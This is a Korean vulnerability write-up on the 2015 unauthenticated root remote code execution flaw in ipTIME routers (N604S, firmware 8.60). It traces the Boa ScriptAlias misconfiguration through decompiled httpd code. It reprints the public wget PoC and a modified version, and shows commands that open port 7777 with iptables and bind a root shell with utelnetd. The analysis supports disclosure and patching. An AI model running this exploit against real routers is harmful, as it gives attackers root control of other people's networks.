
개요
이번에 분석할 취약점은 Exploit Code for ipTIME firmwares < 9.58 RCE with root privileges against 127 router models로 잘 알려진 취약점으로, 잘못된 설정(misconfiguration)으로 인한 원격 코드 실행(Remote Code Execution, RCE) 취약점입니다.
해당 취약점은 ipTIME 라우터 127개 모델의 펌웨어 버전 9.58 미만에서 발생하며, 공격자가 인증 없이 원격에서 root 권한으로 임의의 코드를 실행할 수 있는 심각한 보안 결함입니다.
2015년에 처음 공개된 이 취약점은 이후 패치가 이루어졌고 Exploit Code도 공개되었습니다. 하지만 해당 취약점의 기술적인 근본 원인(Root Cause)에 대한 상세 분석은 이루어지지 않았습니다. 본 분석에서는 해당 취약점의 근본적인 발생 메커니즘과 보안 영향을 분석하고자 합니다.
취약점 분석 배경
해당 취약점이 2015년 발표되었음에도 2025년 현재 다시 분석하는 이유는 다음과 같은 현재의 사이버 보안 환경과 밀접한 관련이 있습니다.
1. 레거시 취약점의 지속적인 악용 증가
사이버 위협 인텔리전스 전문 업체인 GreyNoise의 2025 Mass Internet Exploitation Report에 따르면, 2024년에 악용된 취약점의 40%가 2020년 이전의 것이며, 그중 10%는 2016년 이전, 일부는 1990년대까지 거슬러 올라갑니다. 특히 랜섬웨어 그룹들 또한 공격의 28%를 이미 공개된 취약점을 기반으로 수행한 것으로 나타났습니다.
해당 보고서는 사이버 공격이 단순히 알려지지 않은 zero-day에 국한되지 않으며, 신규 취약점과 기존 취약점 전반에 걸친 지속적인 문제임을 확인할 수 있습니다.
2. 라우터 및 네트워크 장비 대상 공격의 급증
Darktrace의 Annual Threat Report 2024에 따르면, 2024년 가장 중요한 사이버 공격들이 엣지 디바이스(라우터, 방화벽, VPN 등) 및 네트워크 기술의 zero-day 및 n-day 취약점의 지속적인 악용과 관련되어 있다고 밝혔습니다.
특정 CVE 취약점이 공개되지 않은 상황에서도 공격자들은 외부 원격 서비스를 실행하는 엣지 디바이스를 통해 시스템에 접근할 수 있으며, 외부에 노출된 라우터의 zero-day 취약점을 통해 네트워크에 접근했을 가능성이 크다고 밝혔습니다.
해당 보고서에 따르면 OT(Operational Technology), ICS(Industrial Control Systems) 환경에서도 엣지 디바이스 및 특히 IoT 디바이스에 대한 공격이 증가할 것으로 예상되며, IoT 디바이스와 센서는 일반적으로 보안이 약해 공격자들의 주요 표적이 되고 있다고 합니다.
공격자들은 단순히 제로데이 취약점만을 노리는 것이 아닌, 대상 시스템에 미리 설치되어 있는 정상적인 도구를 악용하는 Living-off-the-Land(LOTL) 기법을 통한 공격에도 집중하고 있습니다. 이는 라우터와 같은 네트워크 엣지 디바이스가 공격자들의 지속적이고 체계적인 표적이 되고 있음을 시사합니다.
3. 한국시장 내 ipTIME의 점유율
2015년 당시 ipTIME은 한국 EFM Networks에서 개발한 네트워킹 솔루션 브랜드로, 한국 라우터 시장의 60%를 차지하며 약 1,000만 대의 기기가 배포되어 있었으며, 당시 배포된 1,000만대의 레거시 기기들이 여전히 네트워크 인프라의 상당 부분을 차지하고 있을 가능성을 시사합니다.
다나와 리서치에 집계된 판매량 점유율 기준 2023년 9월 ~ 2024년 8월까지 Wi-Fi 4~7중 7을 제외하고는 모든 규격에서 70~90%를 EFM Networks가 차지하고 있습니다.
이러한 배경으로 미루어 볼 때, 2015년 발견된 ipTIME 취약점은 단순히 과거의 문제가 아닌, 현재도 지속적으로 위협이 되고 있는 레거시 취약점의 전형적인 사례로서 재조명할 필요가 있습니다.
1️⃣ 펌웨어 및 파일시스템 분석
1.1. 펌웨어 추출 및 구조 분석
현재 분석할 장비는 ipTIME의 N604S로, 8.60 Version입니다.

ipTIME 홈페이지에서 N604S의8.60 version 펌웨어를 다운로드하고, binwalk를 통해 파일시스템을 추출합니다.

생성된 n604skr_8_60.bin.extracted파일에 cramfs-roo가 추출되었습니다.
추출된 파일시스템 구조는 다음과 같습니다.

1.2. 웹 서버 설정 분석
해당 취약점은 web server의 HTTP POST 요청 처리 과정에서 발생하는 취약점으로, 이를 분석하기 위해서는 대상 시스템의 httpd 및 web server 종류를 확인해야 합니다.

웹 서버 : Boa web server
설정 파일 : /default/var/boa_vh.conf
1.3. boa_vh.conf
(base) ➜ cramfs-root cat ./default/var/boa_vh.conf Port 80 User root Group root ... ScriptAlias /cgi-bin/ /bin/ # alias 설정 <---------- [1] ... Auth /main /etc/httpd.passwd
[1] : ScriptAlias /cgi-bin/ /bin/
이 설정은 해당 취약점의 중요한 발생 원인 중 하나로, 이 설정으로 인해 /cgi-bin/sh 요청이 시스템의 /bin/sh를 직접 실행하게 됩니다.
1.4. cgi-bin, /bin

find 명령어 결과 cgi-bin은 존재하지 않는 것으로 보아 해당 Firmware는 cgi-bin 디렉토리를 만들지 않고, ScriptAlias를 사용해/bin/에 매칭해 사용하고 있습니다.
/bin 디렉토리에는 취약점 트리거에 사용된 sh 등의 Binary와 함께 CGI 파일들이 존재합니다.
/cgi-bin/디렉토리 : /bin/ (실제 시스템 Binary 디렉토리)
1.5. httpd, /sbin 확인

httpd는 /sbin/httpd에 위치하고 있으며, 추가로 /home/httpd 디렉토리도 존재합니다.
file 명령어를 통해 확인한 httpd의 특성은 다음과 같습니다:
아키텍처: MIPS (32-bit LSB)
타입: dynamically linked
라이브러리: ld-uClibc.so.0
상태: stripped
또한, /sbin/ 디렉토리에는 httpd 외에도 라우터 운영에 필요한 다양한 시스템 데몬과 유틸리티들이 포함되어 있어, ipTIME 펌웨어의 핵심 시스템 구성 요소들을 확인할 수 있습니다.
특히, iptables와 utelnetd가 있어 간단한 설정으로shell에 접속을 유지할 수도 있습니다.
2️⃣ 공개된 PoC 코드 분석
해당 취약점에서 공개된 PoC Code는 아래와 같습니다.
#!/bin/sh if [ ! $1 ]; then echo "Usage:" echo $0 ip command exit 1 fi wget -qO- --post-data="echo 'Content-type: text/plain '; PATH=$PATH:/sbin $2 $3 $4" http://$1/cgi-bin/sh
해당 PoC Code는 POST데이터로 text/plain형태의 명령어를 전송해 /cgi-bin/sh를 통해 명령어를 실행시키는 구조입니다.
앞서 분석한 내용과 동일하게 잘못된 ScriptAlias 설정을 이용해 /cgi-bin/sh를 통해 /bin/sh에 접근해 sh쉘을 실행시키고,PATH를 추가해 /sbin에 있는 Binary까지 사용하는 것이 목표입니다.
3️⃣ 취약점 분석 (Reverse Engineering)
대상 Binary: /sbin/httpd
분석 전략: PoC Code의 공격 벡터가
POST요청 기반이므로,HTTP요청 파싱부터CGI실행까지의POST데이터 처리 파이프라인을 추적하여 취약점 발생 지점을 식별합니다.
3.1. 프로그램 진입점 (main)
프로그램의 진입점에서 웹서버 초기화가 이루어지며, [1]에서 select_loop() 함수로 웹서버의 메인 이벤트 루프를 시작합니다.
int __fastcall __noreturn main(int argc, const char **argv, const char **envp) { int v5; // $v0 int v6; // $a0 int v7; // $v0 ... LABEL_26: timestamp(v6); dword_10000A34 = 0; status = 0; start_time = current_time; create_httpd_pid(); get_ifconfig("br0", &local_ifaddr, &local_ifmask); sub_408C28(); select_loop(v15); <---------- [1] } ...
3.2. 이벤트 루프 (select_loop)
select_loop()는 장비의 기본 상태로select() systemcall로socket event를 대기하며 요청이 들어오면 [1]에서 process_requests() 함수를 호출하여 실제 HTTP 요청을 처리합니다.
void __fastcall __noreturn select_loop(unsigned int a1) { ... unsigned int v7; // $a0 int v8; // $a0 ... max_fd = -1; while ( 1 ) { while ( 1 ) { if ( sighup_flag ) sighup_run(); if ( sigchld_flag ) sigchld_run(); if ( sigalrm_flag ) sigalrm_run(); if ( sigterm_flag ) { v7 = a1; if ( sigterm_flag == 1 ) sigterm_stage1_run(a1); if ( sigterm_flag == 2 && !request_ready && !request_block ) sigterm_stage2_run(v7); } max_fd = -1; v8 = a1; if ( request_block ) { sub_4143D4(); v8 = a1; } process_requests(v8); <---------- [1] ... }
3.3. HTTP 메소드 설정 값 (Process_logline)
HTTP는 여러 메소드를 가지고 있으며, 각 메소드에 따라 형식 및 처리 방식이 다릅니다.
취약점 분석에 앞서, 해당 Binary가 HTTP 요청에서 메소드를 파싱하고 각 메소드별 처리 로직을 분기하는 방식을 파악해야 합니다.
해당 함수의 [1] ~ [4]를 통해 해당 장비는 GET, HEAD, POST 메소드에 대해서만 지원하는 것을 알 수 있으며, POST에 해당하는 값이 4인것을 확인할 수 있습니다.
int __fastcall process_logline(_DWORD *a1) { char *v1; // $s0 int v3; // $v0 // ... (기타 변수 선언들) unsigned int v15; // [sp+18h] [-18h] BYREF unsigned int v16; // [sp+1Ch] [-14h] BYREF v1 = (char *)a1 + 12458; a1[12] = (char *)a1 + 12458; // HTTP 메소드 파싱 if ( !memcmp((char *)a1 + 12458, "GET ", 4) ) { v3 = 1; // GET == 1 <---------- [1] } else if ( !memcmp(v1, "HEAD ", 5) ) { v3 = 2; // HEAD == 2 <---------- [2] } else { v14 = memcmp(v1, "POST ", 5) == 0; v3 = 4; // POST == 4 <---------- [3] if ( !v14 ) { send_r_not_implemented(a1); // GET, HEAD, POST가 아니면 Error <---------- [4] return 0; } } a1[11] = v3; // HTTP 메소드 저장 ... v9 = 1; a1[540] = 6; return v9; }
3.4. HTTP 요청 단계별 처리 (process_requests)
process_requests 함수는 각 요청을 상태 기반으로 순차 처리합니다.
v3[1]값에 따라 [1] ~ [6]의 switch-case가 설정되고, [7]을 통해 switch-case를 순회하는 패턴입니다.
int __fastcall process_requests(int a1) { int result; // $v0 _DWORD *v3; // $s1 int v4; // $v1 int header; // $s0 ... LABEL_9: header = 1; } goto LABEL_10; } } else { v4 = v3[1]; } // 요청 상태에 따른 처리 switch ( v4 ) { case 0: case 1: case 2: case 3: header = read_header(v3); // http header 읽기 <---------- [1] break; case 4: header = read_body(v3); // POST 데이터 읽기 <---------- [2] break; case 5: header = write_body(v3); // post 데이터 처리 <---------- [3] break; case 6: header = process_get(v3); // 응답 전송 <---------- [4] break; case 7: header = read_from_pipe(v3); // cgi 출력 읽기 <---------- [5] break; case 8: header = write_from_pipe(v3); // cgi 출력 전송 <---------- [6] break; case 9: ... header = req_flush(v3); if ( header == -2 ) // 연결 종료 { header = 0; v3[1] = 10; } else if ( header > 0 ) // switch 순회 <---------- [7] { goto LABEL_9; } break; case 10: header = 0; v3[5] = 1; v3[18] = 0; break; default: v3[1] = 10; header = 0; break; } ... }
이제 각 switch-case에서 사용된 함수들을 분석하며 어느 시점에 명령어가 실행되는지 확인하겠습니다.
3.5. HTTP 헤더 파싱 (read_header)
해당 함수는 HTTP Header를 파싱해 POST 요청을 감지한 뒤, 상태를 변경합니다.
int __fastcall read_header(_DWORD *a1, int a2, int a3, int a4) { char *v4; // $s4 char *v5; // $s2 unsigned int v6; // $s3 int v8; // $v1 int v9; // $s1 int v10; // $a0 ... LABEL_8: if ( (unsigned int)v5 >= v6 ) goto LABEL_9; } if ( v9 != 4 ) goto LABEL_8; // 헤더 파싱 완료 처리 v19 = process_header_end((int)a1); if ( !v19 || a1[11] != 4 ) // POST 메소드 확인 (POST = 4) <---------- [1] return v19; // POST 요청 처리 준비 v20 = a1[549]; a1[14] = (char *)a1 + a1[16] + 12458; a1[13] = v5; a1[1] = 5; // POST 메소드면, state를 write_body로 변경 <---------- [2] if ( v20 && (v21 = boa_atoi(), v22 = v21, v21 > 0) ) { if ( !single_post_limit || (v23 = a1, single_post_limit >= v21) ) { ... v24 = a1[14]; v25 = a1[13]; a1[8] = v22; a1[9] = 0; if ( v22 < v24 - v25 ) a1[14] = v25 + v22; return v19; } } else { v23 = a1; } send_r_bad_request(v23); return 0; }
3.6. POST 데이터 읽기 (read_body 함수)
read_body함수는post 데이터를 읽고, 상태를 업데이트 합니다.
int __fastcall read_body(_DWORD *a1) { int v2; // $a1 int v3; // $v1 int v4; // $a0 int v5; // $v1 int v6; // $a3 int v7; // $a0 int v8; // $v1 ... if ( v5 < v4 ) v4 = v5; if ( v4 <= 0 ) { a1[1] = 5; } else { v7 = read(*a1, v2, v4, 1); // POST 데이터를 읽어 v7에 저장 <---------- [1] if ( v7 == -1 ) { return -(*(_DWORD *)_errno_location() == 0xB); } else if ( v7 ) { v8 = a1[14] + v7; // 읽은 데이터 크기 업데이트 <---------- [2] a1[1] = 5; // a1[1]을 통해 write_body로 상태 변경 <---------- [3] v6 = 1; a1[14] = v8; // 버퍼 포인터 업데이트 <---------- [4] } else { fprintf(stderr, "%s:%d - Premature end of body!!\n", "read.c", 329); send_r_bad_request(a1); return 0; } } return v6; }
3.7. POST 데이터 임시파일 저장 (write_body)
write_body함수는POST데이터를 읽고, 임시 파일에 저장한 뒤 init_cgi를 호출합니다.
int __fastcall write_body(_DWORD *a1) { unsigned int v1; // $a3 int v2; // $s2 unsigned int v3; // $v1 _DWORD *v5; // $v0 int v6; // $v1 // ... (기타 변수 선언들) // POST 데이터 크기 계산 v1 = a1[9]; // 현재까지 처리된 바이트 수 v2 = a1[14] - a1[13]; // 현재 버퍼에 있는 데이터 크기 v3 = a1[8]; // 전체 Content-Length if ( v3 < v1 + v2 ) v2 = v3 - v1; // 남은 데이터만 처리 v5 = a1 + 554; if ( v2 ) { v9 = a1[13]; ... else { v11 = write(a1[543], a1[13], v2); // POST 데이터를 임시 파일에 저장 <---------- [1] } ... // 모든 데이터 처리 완료 a1[13] = v5; a1[14] = v5; if ( v1 >= v3 ) return init_cgi(a1); // POST 데이터 처리 완료 후 init_cgi를 호출 <---------- [2] // 더 읽을 데이터가 있는 경우 v6 = 1; a1[1] = 4; // read_body 상태로 변경 return v6; }
init_cgi를 따라가 분석합니다.
3.8. CGI 프로세스 생성 (init_cgi)
int __fastcall init_cgi(_DWORD *a1) { int v1; // $v1 int v3; // $v0 int v4; // $v1 int v5; // $a0 int v6; // $v0 int v7; // $v1 ... // 자식 프로세스 생성 v6 = fork(v5); if ( v6 == -1 ) { // ... (에러 처리) } if ( !v6 ) // 자식 프로세스 { // ... (디렉토리 변경 처리) close(v13); if ( dup2(v14, 1) != -1 ) { close(v14); if ( fcntl(1, 4, 0) == -1 ) { perror("cgi-fcntl"); } else { if ( a1[11] == 4 ) // POST 메소드 확인 (POST == 4) <---------- [1] { lseek(a1[543], 0, 0); // 파일 포인터를 처음으로 이동 <---------- [2] dup2(a1[543], 0); // POST 데이터 파일을 stdin으로 연결 <---------- [3] close(a1[543]); } close_access_log(); if ( a1[538] ) { create_argv(a1, v15); execve(a1[3], v15, a1 + 5163); // CGI 스크립트 실행 <---------- [4] } else { ... } } exit(1); } ... } ... return 1; }
해당 함수는 POST메소드를 확인하고, POST 데이터를 처음부터 끝까지 데이터를 읽고, stdin에 연결해 읽은 데이터를 기반으로 execve를 수행합니다.
즉, [1] ~ [4]는 장비가 입력받은 PoC Code(POST데이터)에 대해서 실질적으로 취약점이 트리거 되는 부분입니다.
[1] ~ [4]의 부연 설명은 아래와 같습니다:
[1] : POST 메소드를 확인합니다. 이 때 4는 POST 메소드를 의미합니다.
[2] : 데이터를 모두 읽기 위해 lseek을 사용해 임시 파일의 파일 포인터를 처음으로 이동합니다.
[3] : dup2()를 사용해 파일 디스크립터를 복제, POST 데이터가 들어있는 해당 fd를 stdin으로 연결합니다.
[4] : stdin으로 연결한 것을 execve로 /cgi-bin/sh를실행합니다.
a1[3]은 “/cgi-bin/sh” 경로로, ScriptAlias로 인해/bin/sh로 변환됩니다.)
실행된 /bin/sh는 stdin에서 데이터를 읽어 명령어로 해석합니다.
POST데이터가 stdin으로 연결되어 있어 execve를 통해 쉘 명령어로 실행됩니다.
execve 실행 예시 :
// execve foramt execve(const char *path, char *const argv[], char *const envp[]) // binary execve(a1[3], v15, a1 + 5163); <---------- [1] // exploit Code로 요청 시 execve("/cgi-bin/sh", ["/cgi-bin/sh", NULL], envp) <---------- [2]
취약점 트리거 시, execve는 위 코드에서 [2]와 같이 구성됩니다.
전체 과정 요약
POST 데이터를 임시 파일에 저장
fork()로 자식 프로세스 생성
자식 프로세스에서 임시 파일을 stdin으로 연결 (dup2)
execve로 /bin/sh 실행
/bin/sh가 stdin(POST 데이터)을 읽어 명령어로 실행
3.9. CGI 출력 파싱 (process_cgi_header)
CGI 프로그램이 실행된 후, 그 출력을 HTTP응답으로 변환하기 위해 CGI Header를 파싱해야 합니다.
int __fastcall process_cgi_header(_DWORD *a1) { int v2; // $s0 int v3; // $s1 ... if ( a1[539] != 3 ) a1[539] = 2; v2 = a1[13]; v3 = strstr(v2, "\n\r\n"); // 헤더 구분자 탐지 <---------- [1] if ( !v3 ) { v3 = strstr(v2, "\n\n"); // 대체 구분자 탐지 <---------- [2] if ( !v3 ) { fputs("cgi_header: unable to find LFLF\n", stderr); send_r_bad_gateway(a1); return 0; } } ...
HTTP Protocol에서는 Header와 Body를 구분하기 위해 빈 줄 (empty line)을 사용합니다.
위와 같은 이유로, CGI응답에서 아래 두 패턴 \n\n 또는 \n\r\n 패턴이 없으면 502 에러를 반환하도록 되어있습니다.
4️⃣ 실제 boa code와 비교
실제 boa web server의 Source Code와 Binary를 비교해보도록 하겠습니다.

오픈 소스로 공개된 boa web server 코드를 clone해줍니다.
egrep 명령어로 init_cgi가 사용된 위치를 탐색합니다.
/src/cgi.c를 확인해 init_cgi를 확인합니다.
4.1. 소스코드 분석 : cgi.c - init_cgi
* Name: init_cgi * * Description: Called for GET/POST requests that refer to ScriptAlias * directories or application/x-httpd-cgi files. Ties stdout to socket, * stdin to data if POST, and execs CGI. ... int init_cgi(request * req) { int child_pid; int pipes[2]; int use_pipes = 0; SQUASH_KA(req); ... /* tie post_data_fd to POST stdin */ if (req->method == M_POST) { /* tie stdin to file */ lseek(req->post_data_fd, SEEK_SET, 0); dup2(req->post_data_fd, STDIN_FILENO); // data를 stdin로 연결 <---------- [1] close(req->post_data_fd); } ... if (req->cgi_type) { char *aargv[CGI_ARGC_MAX + 1]; create_argv(req, aargv); execve(req->pathname, aargv, req->cgi_env); // stdin 실행 <---------- [2] } else { if (req->pathname[strlen(req->pathname) - 1] == '/') execl(dirmaker, dirmaker, req->pathname, req->request_uri, (void *) NULL); ... return 1; }
Binary에서 분석한 내용과 동일한 내용입니다.
[1] : POST데이터일 시 해당 POST데이터를 stdin으로 연결합니다.
[2] : [1]에서 stdin으로 받은 내용을 execve로 실행합니다.
5️⃣ 공격 흐름 (Exploit Flow)
💡 전체 공격 흐름:
[HTTP POST 요청] → [Boa 웹서버 수신] → [POST 데이터 임시파일 저장]
↓↓↓
[CGI 경로 매칭] → [fork() 자식 프로세스 생성] → [dup2로 stdin 설정]
↓↓↓
[execve로 /bin/sh 실행] → [쉘이 stdin에서 POST데이터 읽기] → [명령어 실행]
💡 단계별 상세 과정:
요청 처리 단계
클라이언트가 http://target/cgi-bin/sh로 POST 요청 전송
Boa 웹서버가 요청을 수신하고 파싱
CGI 경로 매칭
/cgi-bin/sh 경로가 ScriptAlias 설정에 의해 /bin/sh로 매핑
POST 메소드이므로 CGI 실행 플래그 설정
POST 데이터 처리
POST 데이터를 임시 파일에 저장
파일 디스크립터(fd)를 관리 구조체에 저장
프로세스 생성 및 실행
// Boa의 init_cgi 함수에서 child_pid = fork(); // 자식 프로세스 생성 if (child_pid == 0) { // 자식 프로세스에서 lseek(post_data_fd, 0, 0); // 파일 포인터를 처음으로 dup2(post_data_fd, STDIN_FILENO); // POST 데이터를 stdin으로 연결 execve("/bin/sh", argv, envp); // 쉘 실행 }
6️⃣ 요약
6.1. ScriptAlias - boa_vf.conf
(base) ➜ cramfs-root cat ./default/var/boa_vh.conf ... ScriptAlias /cgi-bin/ /bin/ # alias 설정으로 /cgi-bin이 /bin/으로 변환 <---------- [1] ...
boa_vf.conf 설정으로 /cgi-bin/이 /bin/으로 변경됩니다.
6.2. POST 데이터 처리 - init_cgi
if (req->method == M_POST) { lseek(req->post_data_fd, SEEK_SET, 0); dup2(req->post_data_fd, STDIN_FILENO); // POST 데이터를 stdin으로 연결 close(req->post_data_fd); }
PoC Code를 장비에 전송하면 POST 데이터가 stdin으로 연결됩니다.
6.3. CGI 경로 매칭 - init_cgi
if (req->cgi_type) { create_argv(req, aargv); execve(req->pathname, aargv, req->cgi_env); // "/cgi-bin/sh" 실행 }
/cgi-bin/sh이 /bin/sh로 실행되며 함께 전송된 POST 데이터가 stdin으로 전달되어 최종적으로 POST 데이터는 shell 명령어로 인식됩니다.
7️⃣ Local 환경에서의 취약점 로직 재현
7.1. 취약점 재현 예시 코드
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <string.h> int main(int argc, char *argv[], char *envp[]) { const char *cmd_file = "test.txt"; int fd; // 1. cmd.txt 파일을 읽기 전용으로 open fd = open(cmd_file, O_RDONLY); if (fd < 0) { fprintf(stderr, "open(%s) failed: %s\n", cmd_file, strerror(errno)); exit(EXIT_FAILURE); } // 2. fd를 표준 입력으로 복제 if (dup2(fd, STDIN_FILENO) < 0) { fprintf(stderr, "dup2 failed: %s\n", strerror(errno)); close(fd); exit(EXIT_FAILURE); } close(fd); /* 3. execve로 /bin/sh 실행 - argv: 첫 번째 인자로 "sh"를 넘기고, 추가 인자는 없으므로 NULL로 종료 - envp: 부모 프로세스의 환경 변수를 그대로 전달 */ char *new_argv[] = { "sh", NULL }; if (execve("/bin/sh", new_argv, envp) < 0) { fprintf(stderr, "execve(/bin/sh) failed: %s\n", strerror(errno)); exit(EXIT_FAILURE); } return 0; }
해당 예시 코드는 cmd.txt 파일을 읽어 fd를 stdin으로 복제한 뒤, execve로 /bin/sh를 실행하는 코드입니다.

상기 이미지와 같이 test.txt에 들어있는 id가 /bin/sh을 통해 명령어로 인식됨을 확인할 수 있습니다.
취약점 재현 예시 코드를 실행하니 stdin에 있는 cmd.txt의 내용(id명령어)가 실행되는 것을 확인할 수 있습니다.
8️⃣ 실제 장비에서 취약저 시연
현재 N604S Router의 IP는 192.168.99.1로 설정되어 있습니다.

기존 PoC Code는 args개수가 한정적이기 때문에 args를 많이 사용할 수 있도록 코드를 수정합니다.
#!/bin/sh if [ ! $1 ]; then echo "Usage:" echo $0 ip command exit 1 fi # Collect all arguments starting from $2 args="${2} ${3} ${4} ${5} ${6} ${7} ${8} ${9} ${10} ${11} ${12} ${13} ${14} ${15}" wget -qO- --post-data="echo 'Content-type: text/plain '; PATH=$PATH:/sbin $args" http://$1/cgi-bin/sh
/sbin의 PATH를 추가 했기 때문에, /sbin에 있는 iptables와 utelnetd를 사용할 수 있습니다.
8.1. iptables를 통해 port 연결
iptables를 활용해 Target_device의 7777 TCP Port로 들어오는 연결을 허용합니다.
./n604s.sh <target_ip> iptables -A INPUT -p tcp --dport 7777 -j ACCEPT
8.2. utelnetd 실행
타겟 장비에서 7777 Port로 telnet통신을 열어줍니다.
./n604s.sh <target_ip> utelnetd -p 7777 -l /bin/sh
8.3. telnet을 사용해 라우터 shell에 접속
telnet명령어로 대상 장비에 접속합니다.
telnet <target_ip> <port>
8.1 ~ 8.3까지 정상적으로 수행 되었다면, 아래 이미지와 같이 라우터의 shell에 접속됩니다.

ps -ef 명령어를 실행하면, utelnetd 및 /bin/sh이 root 권한으로 실행되었음을 확인할 수 있습니다.

마치며
해당 취약점은 잘못된 설정으로 발생한 원격 임의 코드 실행 취약점으로, 아무런 인증 권한 없이 공격자가 root 권한으로 임의의 코드를 실행할 수 있는 매우 심각한 보안 결함입니다.
이러한 심각도 높은 취약점이 발견된 지 10년이 지난 현재에도 중요한 보안 위협으로 간주하는 이유는 명확합니다. GreyNoise의 2025년 보고서에 따르면, 2024년에 악용된 취약점의 40%가 2020년 이전에 발견된 레거시 취약점들이었으며, 이는 공격자들이 과거 취약점을 지속적으로 표적으로 삼고 있음을 시사합니다.
🔺 라우터 root 권한 탈취 시 발생 가능한 위협
인증 권한 없이 root 권한 획득이 가능한 이 취약점의 특성을 고려할 때, 공격 난이도가 낮아 공격자가 성공할 경우 다음과 같은 다양한 방법으로 악용될 수 있습니다.
네트워크 트래픽 조작 및 감청: 공격자는 모든 네트워크 트래픽을 실시간으로 모니터링하고 조작할 수 있으며, 이를 통해 사용자의 민감한 정보(로그인 자격증명, 개인정보, 기업 기밀)를 탈취할 수 있습니다.
봇넷(Botnet) 구축: 침해된 라우터를 봇넷의 일부로 활용하여 DDoS 공격 또는 다른 시스템에 대한 추가 공격의 발판으로 사용할 수 있습니다. GreyNoise 보고서에서 언급한 바와 같이, 2024년 가장 많이 악용된 취약점이 가정용 인터넷 라우터를 표적으로 하여 대규모 봇넷을 구축하는 데 사용되었습니다.
내부 네트워크 침투: 라우터가 내부 네트워크와 인터넷 사이의 경계에 위치한다면, 이를 통해 내부 네트워크로의 측면 이동(Lateral Movement)이 가능해져 연결된 모든 기기가 위험에 노출됩니다.
백도어(Backdoor) 설치: Root 권한으로 펌웨어를 변조하거나 지속적인 백도어를 설치하여, 재부팅 후에도 공격자의 접근을 유지할 수 있습니다.
🔺 권장 사항
모든 사용자는 현재 사용하고 있는 기기의 펌웨어 버전을 확인하고, 정기적인 펌웨어 업데이트를 수행해야 합니다. 펌웨어 자동 업데이트 기능을 활용하는 것도 효과적인 방법입니다.
앞서 살펴본 바와 같이, 공격자들이 네트워크 엣지 디바이스 취약점을 신속하게 악용하여 사용자의 피해로 이어지는 만큼, 제조업체가 보안 패치를 배포하는 즉시 업데이트를 적용하는 것이 필수적입니다.
<Reference>
https://www.greynoise.io/blog/2025-mass-internet-exploitation-report
https://cdn.prod.website-files.com/626ff4d25aca2edf4325ff97/67b5c5f85bac8f34e1b44d35_Darktrace Annual Threat Report 2024.pdf
https://dpg.danawa.com/news/view?boardSeq=293&listSeq=5655412
https://iptime.com/iptime/?pageid=11&page_id=126&mod=document&keyword=n604s&uid=10350
https://pierrekim.github.io/blog/2015-07-01-poc-with-RCE-against-127-iptime-router-models.html
© 2025 ZIEN, Inc. All rights reserved.